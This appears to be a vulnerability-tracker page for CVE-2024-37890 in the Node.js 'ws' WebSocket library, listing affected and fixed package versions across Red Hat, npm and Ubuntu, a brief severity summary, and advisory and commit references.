dotnet8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.113-2.el10_0 | 0:8.0.113-2.el10_0 |
dotnet8.0-debugsourceRed Hat:enterprise_linux:10.0 |
before 0:8.0.113-2.el10_0 | 0:8.0.113-2.el10_0 |
dotnet-sdk-8.0-source-built-artifactsRed Hat:enterprise_linux:10.0 |
before 0:8.0.113-2.el10_0 | 0:8.0.113-2.el10_0 |
wsRoot:npm |
before 6.2.2-aikido.2 | 6.2.2-aikido.27.3.1-aikido.27.4.6-aikido.28.13.0-aikido.28.17.1-aikido.38.14.2-aikido.18.6.0-aikido.18.11.0-aikido.18.5.0-aikido.18.2.3-aikido.17.5.5-aikido.26.2.2-aikido.15.2.3-aikido.17.5.8-aikido.27.5.7-aikido.25.2.4-aikido.18.17.1-aikido.18.17.1-aikido.27.5.10-aikido.16.2.3-aikido.1 |
@rootio/wsRoot:npm |
before 7.4.6-root.io.1 | 7.4.6-root.io.17.3.1-root.io.16.2.2-root.io.27.3.1-root.io.27.4.6-root.io.28.13.0-root.io.28.17.1-root.io.38.14.2-root.io.18.6.0-root.io.18.11.0-root.io.18.5.0-root.io.18.2.3-root.io.17.5.5-root.io.26.2.2-root.io.15.2.3-root.io.17.5.8-root.io.27.5.7-root.io.25.2.4-root.io.18.17.1-root.io.18.17.1-root.io.27.5.10-root.io.16.2.3-root.io.1 |
node-wsUbuntu:16.04:LTS |
All versions, plus listed versions 0.7.2+ds1.349b7460-11.0.1+ds1.e6ddaae4-1 |
None known |
node-wsUbuntu:18.04:LTS |
All versions, plus listed versions 1.1.0+ds1.e6ddaae4-3build11.1.0+ds1.e6ddaae4-3ubuntu1 |
None known |
node-wsUbuntu:20.04:LTS |
All versions, plus listed versions 1.1.0+ds1.e6ddaae4-57.2.1-27.2.1-3 |
None known |
node-wsUbuntu:22.04:LTS |
All versions, plus listed versions 7.4.2+~cs18.0.8-27.5.5+~cs13.0.13-18.5.0+~cs13.3.3-2 |
None known |
node-wsUbuntu:24.04:LTS |
All versions, plus listed versions 8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-2 |
None known |
node-wsUbuntu:25.10 |
All versions, plus listed versions 8.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1 |
None known |
node-wsUbuntu:26.10 |
All versions, plus listed versions 8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.3+~cs14.19.1-1 |
None known |
node-wsUbuntu:26.04:LTS |
All versions, plus listed versions 8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | ||
| facts | OSV | |
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-37890 is a high vulnerability (CVSS 7.5) in Websockets Ws, published June 17, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.36%, the 71st percentile. Fixed in ws 5.2.4.
References
github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q
github.com/websockets/ws/issues/2230
github.com/websockets/ws/pull/2231
github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f
github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e
github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c
Show 23 moreShow less
github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63
nodejs.org/api/http.html
github.com/advisories/GHSA-3h5v-q93c-6h6q
nvd.nist.gov/vuln/detail/CVE-2024-37890
github.com/CVEProject/cvelistV5/tree/main/cves/2024/37xxx/CVE-2024-37890.json
security-tracker.debian.org/tracker/CVE-2024-37890
github.com/websockets/ws
advisories.mageia.org/MGASA-2025-0194.html
bugs.mageia.org/show_bug.cgi?id=33674
lists.fedoraproject.org/archives/list/[email protected]/message/2UGLXZO6VIHGIITQTEUY5Q5YCAP2A4ZP
lists.fedoraproject.org/archives/list/[email protected]/message/VEDIJM7VQF4Q2L2KKQ6KJ2WZNR7AXYQD
access.redhat.com/errata/RHBA-2024:9549
security.access.redhat.com/data/csaf/v2/advisories/2024/rhba-2024_9549.json
access.redhat.com/security/cve/CVE-2024-37890
bugzilla.redhat.com/show_bug.cgi?id=2292777
cve.org/CVERecord?id=CVE-2024-37890
access.redhat.com/errata/RHBA-2024:9550
security.access.redhat.com/data/csaf/v2/advisories/2024/rhba-2024_9550.json
access.redhat.com/errata/RHBA-2025:4932
access.redhat.com/documentation/en-us/red_hat_enterprise_linux/10/html/10.0_release_notes/index
issues.redhat.com/browse/RHEL-65034
security.access.redhat.com/data/csaf/v2/advisories/2025/rhba-2025_4932.json
ubuntu.com/security/CVE-2024-37890